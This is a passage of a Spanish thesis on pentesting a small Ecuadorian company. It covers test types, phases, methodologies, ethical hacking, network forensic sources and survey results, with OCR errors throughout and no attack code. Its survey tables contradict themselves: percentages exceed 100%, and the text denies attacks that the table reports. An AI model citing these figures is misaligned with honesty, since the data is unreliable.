Nota: Tomado de Gaviria (2015)

Caja Blanca: son mas faciles de practicar como parte de un analisis integral
porgue una organizacién proporciona todo tipo de data posible, como la cantidad
de dispositivos, tipo de sistema, estructura de la red, entre otros. Se usa la mayor
cantidad de datos posible para descubrir los puntos de falla o vulnerabilidades
potenciales, lo que resulta en tiempos de ejecucion mas largos en comparacion
con otros tipos de pruebas. Al respecto, segun Sekhon et al., (2022), define el
white-box como “el pentester tiene conocimiento completo de la informacion
sobre el objetivo y el tester debera identificar cualquier debilidad conocida o

desconocida que pueda existir” (p. 101).

Caja Negra: este tipo de pruebas es ciega, debido a que no tiene informacién
sobre sistemas de infraestructura, redes, contrasefias, entre otros. Se acerca a la
realidad de una empresa y ayuda a comprender qué tan fuerte o fragil es una
organizacion. Al respecto también, argumentan que segun (Febriyanti et al.,
2021) da la definicion de que “los probadores de penetracion no saben nada sobre
el sistema. Normalmente se usa cuando una corporacion constante realiza el

trabajo desde la perspectiva de un posible atacante externo” (p. 99).
Caja Gris: es una mezcla de las anteriores y se usa cuando se requieren saber las

vulnerabilidades de determinados sectores, es muy rentable y facilitar informacion

real sobre las amenazas (Zafra, 2017). Sin embargo, segun (Nguyen et al., 2023)
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menciona gue este es un caso intermedio entre el White-Box y Black-Box, ya que
como explica el indica, “el pentester hace pasar por un empleado interno, por lo
cual recibe un nombre de usuario y una contrasefia del sistema. El alcance es
encontrar problemas que puedan ser aprovechados por los usuarios internos” (p.
100). El pentester tiene conocimiento del sistema de una pero no de su estructura

en si.

2.3.4 Alcance del Pentesting

Se delimita el alcance que tendra el Pentesting y se establecen las personas a cargo, las
reglas y normas deben estar muy bien detalladas para ver hasta qué nivel se podré llegar

con dichas pruebas.

Todas las pruebas que se ejecutan en el Pentesting se realizan con herramientas de
software libre y propietario, se garantizara que la informacién obtenida no sea de alcance
publico y que sea lo mas privada posible. Se determinan las amenazas y vulnerabilidades

para observarlos riesgos funcionales a los que estan expuestos los servicios de la red.

Al finalizar con el analisis se podré establecer los informes en donde se contemplara una
lista de todas las vulnerabilidades encontradas de cada una de sus aplicaciones. También
se realizard las respectivas recomendaciones y correccion de una de las vulnerabilidades
de una aplicacion web para que se tomen mas controles al momento de realizar una nueva

aplicacion en la institucion (Gaviria et al., 2015).

2.3.5 Fases de Pentesting

Para aplicar el test de penetracion tiene de diversas fases, mismas que pueden ir
agrupando en tres bloques fundamentales: preparacion, ejecucién y penetracion de
resultados (Nufiez, 2021).

2.3.5.1 Fase de Preparacion
En esta fase se comienza con el paso de preparacion, también conocida como fase

preliminar, donde se realiza diversos para determinar los pardmetros y objetivos del

examen. Entre otros que en brese se menciona:

e Recoleccidn de informacion inicial: antes de iniciar, el equipo de pruebas de

penetracion tiene que poseer data elemental en base a la organizacion.
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Incluyendo: ubicaciones geogréficas, tamafio de la red, sistemas operativos
usados y las aplicaciones criticas.

Definicién del alcance: determina claramente qué redes, sistemas o
aplicaciones incluiran en la prueba y cuales no se tomaran en cuenta.

Acuerdo de confidencialidad (NDA): establece un acuerdo de
confidencialidad entre el equipo de prueba y la empresa. EI NDA brinda
proteccion de la data sensible y garantoza que los resultados y hallazgos
mantengan absoluta confidencialidad.

Roles y responsabilidades: establece roles y responsabilidades para el equipo
de test y la empresa. Incluye el punto de contacto en la compafiia, duracion de

los test y detalles logisticos (Nufiez, 2021).

2.3.5.2 Fase de ejecucion

Etapa central de las pruebas de penetracion, donde se llevara a cabo su correcta ejecucion,

para lo cual se lleva a cabo las operaciones técnicas para detectar vulnerabilidades y

testear la seguridad informatica de una empresa. A continuacion, se refleja algunas etapas

que se debe de tomar en cuenta:

Escaneo y enumeracién: se debe de aplicar un escaneo profundo, donde se
determinar los activos, sistemas operativos, puertos abiertos, aplicaciones activas
y servicios de la infraestructura de la empresa, por medio la utilizacion de un
software de escaneo de red.

Analisis de vulnerabilidades: tras el escaneo, los sistemas y aplicaciones se
someten a una investigacion exhaustiva para detectar las vulnerabilidades
particulares. Para ello se puede usar procedimientos de revision manual, por
ejemplo: herramientas de andlisis de seguridad.

Exploracion de vulnerabilidades: hallan vulnerabilidades para entablar
respectivas medidas preventivas de seguridad.

Limpiezay restauracion: una vez finalizada la etapa de la aplicacion de medidas
correctivas de vulnerabilidades, se debe de restaurar la red a su configuracion
inicial, borrar cualquier acceso o huella digital no deseada. Con ello, la empresa

esta protegida contra cualquier tipo de riesgos injustificado (Nufiez, 2021).
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2.3.5.3 Fase de resultados

Para lograr asegurar los hallazgos se comuniquen los resultados conseguidos de manera
efectiva a la empresa, consiguiendo un mejor enfoque de las vulnerabilidades

encontradas. En breve, se presenta los detalles de esta fase.

¢ Informe y documentacion detallada: presenta un informe completo, donde se
detalla todas las vulnerabilidades encontradas, nivel de criticidad, evidencia de
explotacion y recomendaciones de mitigacion. Dicho informe es considerado
como una herramienta invaluable para la toma de decisiones.

e Reuniony presentacion: coordina una reunion entre el cliente o la empresa para
presentar dicho discutir e informe de los resultados encontrados, asi también las
implicaciones y las acciones que se deben de seguir. Dicha reunion permitird
aclarar cualquier tipo de pregunta y establecer un plan de accion.

e Seguimientoy revisién: una vez finalizada la presentacion se debe de realizar un
seguimiento para asegurar que las recomendaciones sean implementadas y las
vulnerabilidades se corrijan. Con ello mejorara la seguridad general de la empresa
(Nufez, 2021).

2.3.6 Procedimientos Legales para el Pentesting
En las pruebas de penetracion se necesita el permiso de las autoridades de los GADS, las

mismas deben ser debidamente firmada y selladas por el responsable a cargo del
departamento de Tic (Zhou et al., 2021).

2.3.7 Metodologias de Pentesting

Existen diferentes tipos de procesos que se puede seguir para desarrollar una prueba de
penetracion. Sin embargo, aquellos pentesters experimentados son capaces de generar su
propia metodologia, por ello es importante estar familiarizado con algunas definiciones,

tales como:
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Penetration Testing Framework: se centra en el Pentesting de red y
ofrece una explicacion detallada de cada elemento que debe evaluarse
junto con las herramientas e instrucciones necesarias

Penetration Testing Execution Standard (PTES): Define descnbe
las tareas que deben completarse durante un pentest para que las
empresas puedan obtener un producto que sea valioso para ellas y para
la empresa.

Open Web Application Security Project (OWASP) Testing Guide: Esta
metodologia se centra exclusivamente en la segundad de aplicaciones
web y describe en detalle las diferentes comprobaciones que se deben
llevar a cabo, asi como las herranmentas que se pueden utilizar en todo
el proceso

Figura 5. Posibles metodologias pestesting
Nota: Tomado de (Echeverria, 2024)

2.3.8 Introduccion al Hacking Etico

Con la evolucién de la tecnologia, también con el avance de internet y las aplicaciones
moviles y web, han surgido varios problemas de seguridad de datos publicos y privados,
pérdida de data e intentos impredecibles de seguridad de la red e informacion. En general,
en el campo de las tecnologias de la informacion, la palabra “hacker” se correlaciona
generalmente con el crimen cibernético: pirateo informatico, violacién de las normas de
la seguridad informética y todo lo que conduce al crimen cibernético. Ahora, ademas de
la palabra “hacking”, agregandole la palabra “ético”, la sociedad regularmente piensa o
asimila que se trata de cierta incoherencia, por lo que es esencial entender claramente lo

gue hace y provoca ejecutar hacking ético (Ortega-Garcés, 2023).

Al respecto Rodriguez (2020), menciona que a lo largo de los afios el denominado
“Hacking ético” ha sido combinado por dos vocablos: ético se refiere a que es algo
correcto, bueno y en cambio hacking es todo lo contrario porque es considerado como
una infiltracién y sustracciéon de cierta informacion de Unico valor para una persona o

empresa (p.23).

Este proyecto tiene como objetivo decidir si los sistemas informaticos son vulnerables y

generar soluciones mediante el uso de un conjunto de herramientas informaticas para
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dominios de pruebas de penetracion; Pentests, ya que el evaluador o auditor que utilice
las aplicaciones no es directamente un criminal o hacker, sino porque aplicaciones
diferentes herramientas que pertenecen a la seguridad informatica se logra demostrar las
vulnerabilidades y las amenazas potenciales se encuentran en la red o el sistema
informatico a las victimas y brindan la debida proteccion después de realizar la prueba,
para determinar si ofrece un nivel de seguridad aceptable que pueda reducir la seguridad

de la red o cualquier riesgo de ataque que perjudique a una empresa.

2.3.9 Hackers

Al respecto, firma Cuadros et al., (2022) el hacking ético o pruebas de penetracién se
considera un procedimiento de ciberseguridad porque implica infiltrarse en un sistema o
red informatica con el consentimiento del propietario, simulando un ataque del mundo
real con el objetivo de exponer debilidades y vulnerabilidades que los ciberdelincuentes
pueden aprovechar. Esto permite a las empresas comprender las necesidades de seguridad

que enfrentan y mejorar sus sistemas segun sea necesario (p. 145).

En conclusion, los hackers han tenido mala fama con el paso de los afios, sin embargo,
no todos son consideramos como cibernéticos. Para lo cual se han determinado diversas
definiciones y términos como: crakers y hackers éticos. En donde: los primeros son
aquellos que aplican técnicas de intrusion con la Unica finalidad de hacer dafio y conseguir
beneficios econdmicos, el segundo término son en cambio con fines éticos, quienes

implementan soluciones ante un inconveniente relacionado con la seguridad informatica.
En tal sentido, se plantean diversas preguntas como: ¢puede ser ético el hacking?

Para un mayor entendimiento se describen ciertas diferencias los siguientes términos

relevantes.

e Hacker: nuevo término usado para designar expertos (maestros) en varios o
especificos campos técnicos relacionados con las TIC y las telecomunicaciones:
sistemas operativos, programacion, redes, etc.

e Cracker: es una persona que vulnera la seguridad de un sistema informético de
la misma forma que un hacker, excepto que, a diferencia de este Gltimo, ataca con

fines de lucro y cualquier forma de beneficio personal.
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e Hacker ético: un experto técnico en seguridad que utiliza sus conocimientos de
hacking para lograr objetivos de seguridad en un entorno legal y controlado.
(Bonilla, 2023).

2.3.10 Tipos de Hackers

La palabra hacker en si no define si una persona utiliza su conocimiento para el bien o

para el mal, por cual este término se divide en tres tipos, segun (Scariot, 2022):

e Hackers de sombrero blanco: también conocido como hackers éticos, son
considerados profesionales de la seguridad informatica quienes realizan pruebas
de penetracion a una empresa para buscar vulnerabilidades de seguridad, siempre
y cuando sea este ejecutado con el consentimiento de las personas encargas de
TIC.

e Hackers de sombrero negro: son lo opuesto a los hackers de sombrero blanco,
también son conocidos como crakcers ya que no cooperan con una organizacion,
si no buscan causar dafio y robar informacion para perturbar y dafiar sistemas con
fines propios o de terceros.

e Hackers de sombrero gris: aunque el término es un poco ambiguo, se puede
argumentar que es una mezcla hibrida entre los hackers de sombrero blanco y

sombrero negro (Scariot, 2022).

En relacion con los tipos de hackers se puede argumentar que: sombrero blanco (White
hat) y sombrero negro (black hat). Donde: los hackers que tienen sombrero blanco
con los hackers éticos; mientras que los de sombrero negro son los que explotan las
vulnerabilidades en los sistemas con el Gnico fin de demostrar que han logrado
vulnerar la seguridad de dicha entidad. En breve se presenta la siguiente figura para
una mejor ilustracion y entendimiento de lo expuesto. Finalmente, los de sombrero

gris es una combinacion de los tipos de hackers mencionados anteriormente.
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Otros
Hacking Sujetos Tipos nombres Actividad
recibidos

Sombrero Blanco Hacker étco o |
o "White Hat" pentester

Sombrero Negro
0 "Black Hat"

_4
Fines malicosos y
lucrativos

Figura 6. Tipos de hacking ético

Nota: Elaboracion propia

2.3.11 Hacking ético vs Auditoria Informatica

En materia de seguridad, existe cierta confusién entre hacking ético y auditoria
informéatica. De hecho, confunde a mucha gente. Sin embargo, existen diferencias
significativas entre estos dos términos, donde: la auditoria informatica se ocupa de las
politicas de seguridad de una compafia y su cumplimiento o aplicacion dentro de los
procesos. Esta disefiado para comprobar que existen controles de seguridad y en muchos
casos puede no ser técnico. Por otra parte el hacking ético se centra en vulnerabilidades
que pueden ser explotadas por terceros y que pueden utilizarse para comprobar que el

sistema es resistente a ataques (Scariot, 2022); (Imbaquingo et al., 2020).

2.3.12 Definicion de Penetration Test o Ethical Hacking

En cuanto al Pentesting Nur et al., (2020) explica que:

Las pruebas de penetracidén son un conjunto de métodos y técnicas para la evaluacién
integral de las vulnerabilidades de los sistemas informaticos. Consiste en un modelo que
puede reproducir el intento de acceso de un potencial intruso a cualquier entorno
informatico desde varios puntos de entrada existentes (internos y externos). El propésito
general de una prueba de penetracion es obtener acceso al equipo informatico de la
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organizacion para obtener derechos de administrador del sistema y desarrollar cualquier

tarea no permitida en el equipo. Ademas, se pueden establecer otros objetivos secundarios

para permitir ejecutar pruebas especificas para areas comerciales especificas.

2.3.13 Fuente de pruebas de la red

Segln Léonard & Kaunert (2023) en el que citd a European Union Agency For Network

And Information Security (2016), las pruebas de la red pueden obtenerse a partir de

diversas fuentes, a continuacion, se mencionan las siguientes:

Intervenir el cable y el aire: una de las formas mas directas de captura de
informacion es colocar escuchas en los cables de red y cables de fibra dptica
para monitorear el tréfico.

Tabla CAM en un conmutador de red: contienen tablas de memoria
direccionables por contenido que almacenan correspondencias entre las
direcciones MAC del sistemay los puertos fisicos. Con esta tabla, la direccién
MAC de un sistema comprometido se puede encontrar en la red porque hay
asignaciones disponibles para puertos fisicos. Los conmutadores también
proporcionan duplicacién de red, lo que permite a los investigadores ver todo
el tréfico de otras VLAN Yy sistemas.

Tablas de enrutamiento en los routers: la tabla de enrutamiento de un router
asigna los puertos este aparato a las redes a las que estan conectados. Estas
tablas le permiten explorar las rutas que toma el trafico web a medida que
avanza a través de diferentes dispositivos.

Registros del protocolo de configuracién dinamica de host: por sus siglas
es denominado como (DHCP) registran entradas cuando se asigna una
direccion IP especifica a una direccion MAC concreta. Por lo tanto, la
direccion IP especifica se asigna a una direccion MAC particular, cuando se
renovo la direccién en la red, la marca de tiempo en que se renovo, etc., por
lo que son de utilidad en la red forense.

Registros del servidor DNS: los registros de consulta de nombres del
servidor pueden ayudar a entender la resolucion de IP a nombre de host en
momentos especificos. Por ejemplo, en un escenario en el gque, tan pronto
como un sistema se infect6 con malware en la red, trat6 de conectarse de nuevo

a un determinado dominio para el comando y control.
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Registros de controladores de dominio/servidores de
autenticacion/sistemas: Los servidores de autenticacion pueden permitir a
los investigadores ver los intentos de inicio de sesion, los tiempos de inicio de
sesion y otras actividades relacionadas con el inicio de sesion en la red. En tal
escenario, un grupo de atacantes, para iniciar sesion en un servidor de base de
datos utilizando un host infectado como plataforma de lanzamiento o centro.
En tales casos, los registros de autenticacion revelan rapidamente no solo el
sistema infectado, sino también el nimero de intentos fallidos desde el sistema
al servidor de la base de datos.

Registros de IDS/IPS: desde una perspectiva forense, los registros de
prevencion y deteccion de intrusiones son registros IDS/IDPS practicos que
proporcionan no solo direcciones IP, sino también firmas relevantes, ataques
en curso, presencia de malware, servidores de comando y control, IP y puertos
de origen y destino, horarios, etc.

Registros del cortafuego: los registros del firewall brindan una descripcion
detallada de la actividad de la red. Por lo tanto, una solucion de firewall no
solo protege un servidor o una red de conexiones no deseadas, sino que
también puede ayudar a identificar patrones de trafico, proporcionar una
puntuacion de confiabilidad para los puntos finales salientes y bloquear
puertos e intentos de conexion no deseados.

Registros del servidor proxy: son una de las herramientas mas Utiles en las
investigaciones forenses. Los registros de agentes web ayudan a detectar
amenazas internas y, al mismo tiempo, brindan informacion detallada sobre
eventos como habitos de navegacion, origen de malware web vy

comportamiento de un usuario en la red.
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CAPITULO 11l

3 MARCO METODOLOGICO

A continuacion, en este apartado se procede a describir los elementos metodologicos que

enmarcan la investigacion, en funcién de alcanzar los objetivos trazados inicialmente.

3.1 Descripcion del area de estudio / Descripcion del grupo de estudio

El proyecto de estudio sera validado en la compafila MASTERNET, ubicada en la
Provincia de Santo Domingo de los Tsachilas. Dicha corporacion esta dedica a la venta al

por mayor y menos de equipos tecnoldgicos y brinda soporte técnico en sitio.
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Figura 2. Ubicacién de la empresa MATERNET
Nota: Tomado de Google Maps

Actualmente, MASTERNET esta confirmado por alrededor de 12 colaboradores mismos
que estan distribuidos en 5 areas en la matriz y sucursal: Ventas, Marketing, Talento
Humano;Contabilidad y Soporte Técnico.

3.2 Método de investigacion

En este apartado, se definen los principales elementos de la investigacion, que son el tipo y

nivel, de los cudles se derivan el resto.
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3.2.1 Método inductivo — deductivo

El presente estudio, inicia desde los hechos reales suscitados en la empresa
MASTERNET, para posteriormente formular hipétesis para luego plantear y estructurar
acordemente la problematica, en esta primera fase se utiliza la induccién. Posteriormente,
se llega a la deduccion por medio de la teoria existente para luego contrarrestarla
nuevamente con la realidad. Ahora bien, en la ejecucion del Pestesting, también se llega
a formular hipotesis por medio de la induccion y de los hechos en base a la relevancia de
usarlo para minimizar el nivel de impacto de los ciberataques que se han presentado en la
corporacion, seguidamente la aplicacion apoyada por la teoria existente como
metodologias, herramientas, analisis de expertos, casos reales, entre otros. De esta manera

se podré llegar a contrarrestar con la realidad.

3.2.2 Tipo de Investigacion

Este estudio es aplicado, porque se usa el conocimiento tedrico para proponer mejoras
asertivas y minimizar inconvenientes relacionadas con la ciberseguridad. Por tales
motivos, se encuentra bajo la perspectiva cuantitativa; esto tomando como referencia lo
indicado por Chacma-Lara & Laura-Chavez (2021), quienes en su obra plasma que esta
perspectiva responde al hecho de aplicar técnicas y herramientas de recoleccion y analisis
de datos, de hecho no se presta atencién a los estados subjetivos de quien actta, también
hace hincapié en que se utiliza medicién controlada, de manera objetiva y con orientacion
a comprobacion y al resultado, asi como también utiliza el método hipotético-deductivo,
pone énfasis en la confiabilidad de los datos, se centra en generalizar y asume una realidad

con alteraciones despreciables.

Por tanto, este estudio se basa en supuestos cuantitativos, porque se va a recopilar,
procesar y analizar informacién numérica sobre las variables preseleccionadas. Esto
permite darle mas que una simple lista de datos ordenados como resultados, ellos
corresponden completamente a las variables declaradas desde el inicio, y los resultados

resultantes daran la realidad especifica a la que estan expuestos.

Lo expresado anteriormente, se busca implementar la aplicacion de los conocimientos
adquiridos durante todo este proceso de aprendizaje relacionados al Pestesting, asi mismo

las herramientas de software para la ejecucién de cada fase de esta metodologia, mediante
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su ejecucion. Por tales motivos, se ve en la necesidad de proponer mejoras y estrategias
mas apropiadas para asi reforzar la seguridad informatica de MASTERNET.

3.2.3 Nivel de la Investigacion

Por consecuente, dicha investigacion se centra en un nivel descriptivo, por cuanto
Condori-Ojeda (2020), quien plantea que este nivel de investigacion se caracteriza por
develar un hecho, individuo o grupo, fenémeno, con el fin de declarar un esquema de
funcionamiento o comportamiento. El nivel descriptivo, posibilita comprender a traves
del registro, analisis e interpretacion de la situacion en tiempo real, de igual manera, los
estudios descriptivos llegan finalmente a conclusiones generales construidas, que dan

cuenta de los hechos observados y se Ilaman generalizaciones empiricas.

Las generalizaciones empiricas pueden ser consideradas como hipdtesis tedricas o de
trabajo, por quienes encaran otras investigaciones y usan dichas hipotesis para explicar
hechos o quieren saber si las hipotesis funcionan. Por lo tanto, asumiendo este nivel de
investigacion descriptivo, se pudo explicar los diversos inconvenientes que ha presentado
la empresa MASTERNET ante los ciberataques, evidenciado por los experimentos

realizados.

3.3 Disefio de investigacion

En este apartado el disefio de investigacidn se efectla de manera no experimental, debido
a que es aquella que no se controla ni manipula las variables de esta investigacion. Dichos
datos conseguidos a raiz de las fases del Pestesting: reconocimiento, escaneo, explotacion
y post explotacién de vulnerabilidades. Debido a que cada fase se va a ir recolectando en

funcién de la data real por medio de las herramientas de software.

3.4  Poblacién y Muestra

3.4.1 Poblacion

Al respecto (Condori-Ojeda, 2020b), en su investigacion indica que poblacion representa
el conglomerados de individuos (personas u objetos) con caracteristicas semejantes que
pueden ser cuantificados o no, pero son sujetos a una investigacion. Por tales motivos y
segun las caracteristicas descritas, este estudio es ejecutable para una sola poblacion la
cual estd conformada por 12 personas que trabajan y por lo cual existe un total de 12
equipos de computo en MASTERNET.
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3.4.2 Muestra

Segun (Condori-Ojeda, 2020b) en su estudio menciona que “es una parte representativa
de la poblacion, donde las caracteristicas deben reproducirse con la mayor precision
posible, para lo cual se debe de poseer una poblacion extensa y asi determinar la muestra
segun la formula estipulada” (p. 141). Por otra parte, por tratarse de una poblacidn finita
y su objeto de estudio es relativamente pequefia, para esta investigacion se utilizé la
poblacién parcial, una muestra representativa; es decir de la poblacion del personal de
todas sus areas no se le determind ni se aplicé ningin muestreo, por tratarse de un grupo

pequenio.

35 Técnicas e Instrumento de Recoleccion de Datos

Técnicas

e Observacion: permite analizar y observar el impacto que causa de acuerdo al
aprovechamiento de vulnerabilidades y materializacion de los riesgos luego de un
ciberataque.

e Experimentacidon: permite experimentar cada una de las herramientas de
software inclinada a cada una de las fases de Pentesting con la finalidad de
recaudar datos e identificar vulnerabilidades.

e Encuesta: permite usar una lista de verificacion para saber si MASTERNET tiene
controles o medidas de seguridad informatica basado en el tratamiento de

vulnerabilidades.

De la misma manera se recolecté informacion en base a cada fase de la metodologia

Pentesting, tales como:

Tabla 2.
Fase 1: Reconocimiento

FASE 1: Reconocimiento

TECNICA DE PESTESTING HERRAMIENTA DE SOFTWARE
IDENTIFICACION DE REDES Nmap

Nota: Elaboracion propia
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Tabla 3.

Fase 2: Escaneo

FASE 2: Escaneo

TECNICA DE PESTESTING HERRAMIENTA DE SOFTWARE
BARRIDO DE PUERTOS Nmap

Nota: Elaboracion propia

Tabla 4.

Fase 3: Explotacién de vulnerabilidades

FASE 3: Explotacion de vulnerabilidades

TECNICA DE PESTESTING HERRAMIENTA DE SOFTWARE
EXPLOTACION DE | Metasploit, Hydra
VULNERABILIDADES
ENCONTRADAS EN LAS FASES
PREVISTAS

Nota: Elaboracion propia

Analisis de datos

e Analisis e interpretacion: aplica un analisis e interpretacion de toda la
informacién y desde luego aquellos resultados conseguidos en cada fase de la
metodologia Pentesting.

e Graficosy tablas: con el uso de los graficos dara lugar a una mejor presentacion
de los datos conseguidos, los graficos se basaran en relacion con el estudio del

estado de la red que tiene actualmente la empresa.

3.6 Herramientas por utilizar

El sistema operativo para utilizar para realizacion de este trabajo es Kali Linux, el mismo
esta disefiado para desarrollar auditorias de seguridad, escaneos de puertos, escaneos de
vulnerabilidad de redes y bases de datos, herramientas de auditoria, analisis forenses
utilizados por "pentesters™ o hackers éticos en pruebas de penetracion para verificar el

funcionamiento de servicios no autorizados o descubrir posibles objetivos de ataque.
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Adicional a ello, en un caso en particular se utilizard para identificar y/o corregir
problemas en la red telemética de la empresa MASTERNET:
En breve, se presenta una breve descripcion de las herramientas usadas:

Tabla 5.

Herramientas usadas

HERRAMIENTA DESCRIPCION
MSF Un desarrollo de codigo abierto relacionado con la seguridad
(METASPLOIT informéatica que emite informacion sobre vulnerabilidades de

FRAMEWORK) | seguridad y ayuda con las pruebas de penetracion y el desarrollo
METASPLOIT de firmas para sistemas de deteccion de intrusiones. El
subproyecto mas famoso es Metasploit Framework, una
herramienta para disefiar y ejecutar acciones maliciosas contra
ordenadores remotos. Otros subproyectos importantes incluyen
repositorios de codigos de operacion, archivos de shellcode e
investigacion de seguridad. Fue creado originalmente usando el
lenguaje de programacion Perl, aunque el marco Metasploit ahora
ha sido completamente reescrito en Ruby.

NMAP Nmap ("Network Mapper") constituida como una herramienta de

auditoria de seguridad y escaneo de redes de cddigo abierto. Se
encuentra disefiado para un andlisis rapido de redes grandes,
aunque también es muy eficiente para PC. Nmap usa paquetes IP
"sin procesar" en su forma original para identificar las
computadoras en la red, los servicios que brindan (nombre y

version de la aplicacion) y el sistema operativo (versiones).

EXPLOIT Es una pieza de software, un fragmento de datos o una secuencia

de comandos o acciones que se usan para explotar las
vulnerabilidades de seguridad en un sistema de informacion para
lograr una accién no deseada. Se utiliza principalmente como
vector para inyectar cargas Utiles que le dan al atacante cierto
acceso y/o control sobre la computadora infectada. Una sola

carga util puede ser utilizada por multiples vulnerabilidades y la
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misma vulnerabilidad puede ser utilizada por multiples cargas

Gtiles.

ARMITAGE (Herramienta que admite la utilizacion de un Scripts para

Metasploit y que permite visualizar objetivos, recomienda
exploits y expone las caracteristicas avanzadas de post-

explotacion que tiene el framework)

Nota: Elaboracion propia

Entre las herramientas técnicas que se utilizara en el desarrollo de esta propuesta

son:

e Sistemas operativos: Windows, Linux.
e Aplicaciones: Web, moviles, de escritorio, software a medida.

e Redes: LAN, WAN, Wi-Fi, etc.
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CAPITULO IV
4 DESARROLLO DE LOS OBJETIVOS

Para alcanzar el objetivo general de esta investigacion, el esquema que se siguié fue
aplicar la metodologia de pentesting, como marco de referencia, lo que permitié evaluar
el sistema de red informatica de la empresa MASTERNET. Al aplicar las fases de estas
guias, se valido su pertinencia y se identificaron las adaptaciones necesarias dadas las
particularidades de la plataforma, asi como también permitié determinar las herramientas
disponibles y funcionales, que refuerzan las secuencias de actividades sugeridas por la
metodologia base. En los proximos apartados se detallan como se desarroll6 cada uno de

los pasos metodoldgicos.

4.1 Fase determinacion alcance

Las variables estudiadas en la investigacion fueron: Vulnerabilidades en la Red de Datos

y Seguridad en Infraestructura Tecnoldgica.

4.2 Fase Recoleccion de informacion
Esta fase tiene como finalidad describir el sistema bajo estudio, mediante la adquisicion
de informacion relevante para identificar las vulnerabilidades en cuanto a seguridad de
informacion. En el transcurso de la revision se aplico un cuestionario, plasmado en el
anexo A, con el cual fue disefiado para conocer la existencia, uso y orientacion de politicas
de seguridad de informacidn e historicos de eventos.
En breve se procede a presentar las siguientes representaciones gréaficas, donde:

e El numeral 1 corresponde a la respuesta Nunca

e El numeral 2 corresponde a la respuesta Raramente

e El numeral 3 corresponde a la respuesta Ocasionalmente

e El numeral 4 corresponde a la respuesta Frecuentemente

e El numeral 5 corresponde a la respuesta Siempre

36



Tabla 6.

Diagnostico del uso de la Red

NUNCA RARAMENTE OCASIONALMENTE FRECUENTEMENTE SIEMPRE
INDICADORES R % R % R % R % R %
1.- ¢EL USO DE LA RED ES | 0 0% 1 10% 2 20% 1 10% 8 80%
ADECUADO?
2.- ¢LOS NIVELES DE |3 30% 6 60% 1 10% 2 20% 0 0%
OPERATIVIDAD SON LOS
OPTIMOS DE LOS
DISPOSITIVOS?
3.- ¢HAN RECIBIDO | 0 0% 0 0% 0 0% 3 30% 9 90%
ATAQUES A LA RED?
4.- ¢(TIENEN SISTEMA DE | 0 0% 0 0% 0 0% 3 30% 9 90%
RECUPERACION DE
FALLAS?
Nota: Elaboracién propia
DIAGNOSTICO DEL USO DE LA RED
B 1.- (Eluso de lared es adecuado? M 2.- (Los niveles de operatividad son los dptimos de los dispositivos?
3.- ¢Han recibido ataques a la red? 4.- ¢Tienen sistema de recuperacion de fallas? B} )
o
xX %)
3
. 5 R g s 8 o0
X X X - X X - X X - X
=) l ) =) — =) ) . - =) — . )
1 2 3 4 5

Figura 7. Diagnostico del uso de la Red -gréfico

Nota: Elaboracién propia
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Los resultados presentados en la tabla 6 y la figura 7 sefialan a pesar de no haber tenido ataques, 60% sus niveles de operacidén no son 6ptimos y el 90% no

tienen sistema de recuperacion, luego de la ocurrencia de eventos no deseados, 1o que es una gran desventaja para la plataforma tecnolégica.

Tabla 7.
Diagnéstico del mantenimiento de la Red

NUNCA RARAMENTE OCASIONALMENTE FRECUENTEMENTE SIEMPRE
USO DE LOS DISPOSITIVOS R % R % R % R % R %
1.- ¢(UTILIZAN EQUIPOS | 9 90% 0 0% 0 0% 0 0% 0 0%
ESPECIALIZADO CON
FRECUENCIA PARA VERIFICAR
SU FUNCIONAMIENTO?
2.- (RECIBEN MANTEAMIENTO | 9 90% 2 20% 1 10% 0 0% 0 0%
ADECUADO?
3.- (LOS ESTADOS DE CONEXION | 8 80% 2 2% 2 20% 0 0% 0 0%
CON LOS DEMAS ELEMENTOS
DE LA RED SON LOS OPTIMOS?
4.- (UTILIZAN DISPOSITIVOS DE | 0 0% 0 0% 0 0% 3 30% 9 90%
SEGURIDAD Si HUBIERE
ATAQUES?

Nota: Elaboracién propia
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DIAGNOSTICO DEL MANTENIMIENTO DE LA RED

W 1.- ¢ Utilizan equipos especializado con frecuencia para verificar su funcionamiento? m 2.- ¢ Reciben manteamiento adecuado?

l 3.- ¢ Los estados de conexidn con los demas elementos de la red son los 6ptimos?
N

4.- ¢ Utilizan dispositivos de seguridad si hubiere ataques?
X X
& & ®
o
[ee]
X
x S ]
& X Q
o
X X X X X - X X X X X X
o o N o o - o o o o o o
1 2 3

Figura 8. Diagnostico del mantenimiento de la Red -gréfico

Nota: Elaboracion propia
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En la tabla 7 y la figura 8, se presenta el diagnostico desde la perspectiva de mantenidito de red,
en que se encontrd que el 90% no se le ejecuta acciones para mantener la operatividad de red y se
si hace no es con los instrumentos adecuados y el 90% no posee dispositivos de seguridad anti-

ataques.

De lo expuesto anteriormente, la empresa MASTERNET presentan diversos tipos de problemas
de interoperabilidad y de conexion dentro de la red, lo que limita el 6ptimo funcionamiento de los
equipos y decanta en problemas de seguridad, por ende, por lo cual se argumenta que no

responderan de manera adecuada ante un ataque cibernético.

4.3 Fase Analisis de vulnerabilidades y explotacion.

Para la identificacion de las vulnerabilidades, se cred un laboratorio de prueba virtual para el
proceso de simulacion, con la distribucion Kali Linux, aplicativo que consta por un compendio
de herramientas disefiadas para probar y encontrar vulnerabilidades en plataforma de informacion
(Singh, 2022),. En tal sentido, con la aplicacion de Pestenting resulta Util para la toma de
decisiones y posterior la implementacion de mejoras de la seguridad de la informacion que maneja

la empresa Masternet.

4.3.1 Construccion del laboratorio de prueba virtual

El laboratorio virtual construido, cuenta con una red, que sirve de plataforma de comunicacion a
mas de 100 equipos de informéatica, como computadores personales, routers, swich, entre otros
equipos en general, los cuales poseen diferentes sistemas operativos y estan configurados segun

las necesidades de sus usuarios.

Ahora bien, se procede en primeras instancias a describir las caracteristicas técnicas del equipo
anfitrién, el cual servira como punto central, que en este caso se utiliza el ordenador que se usa
para brindar soporte técnico en la empresa MASTERNET, para configurar el ambiente de trabajo
en este caso cuenta con Procesador i5 Décima Generacién, con una memoria RAM de 8192 MB

y un sistema operativo Windows 10 Pro de 64 bits.

Informacidn del sistema

Fecha y hora actuales: viernes, 26 de abril de 2024, 15:3%:40

Mombre del equipo: DESKTOP-4MI3IMH

Sistema operativo: Windows 10 Pro for Workstations 64 bits (10.0, compilacion 19044)

Idioma: espariol (configuracion regional: espariol)

Fabricante del sistema: ASUS

Modelo del sistema: System Product Mame

BIOS: 1101
Procesador: Intel{R) Core(TM) i5-10400 CPU @ 2.90GHz (12 CPUs), ~2.9GHz
Memoria: 3192MB RAM

Archivo de paginacién: 4857MB usados, 11946ME disponibles

Wersidn de Direct)X: Direct{ 12
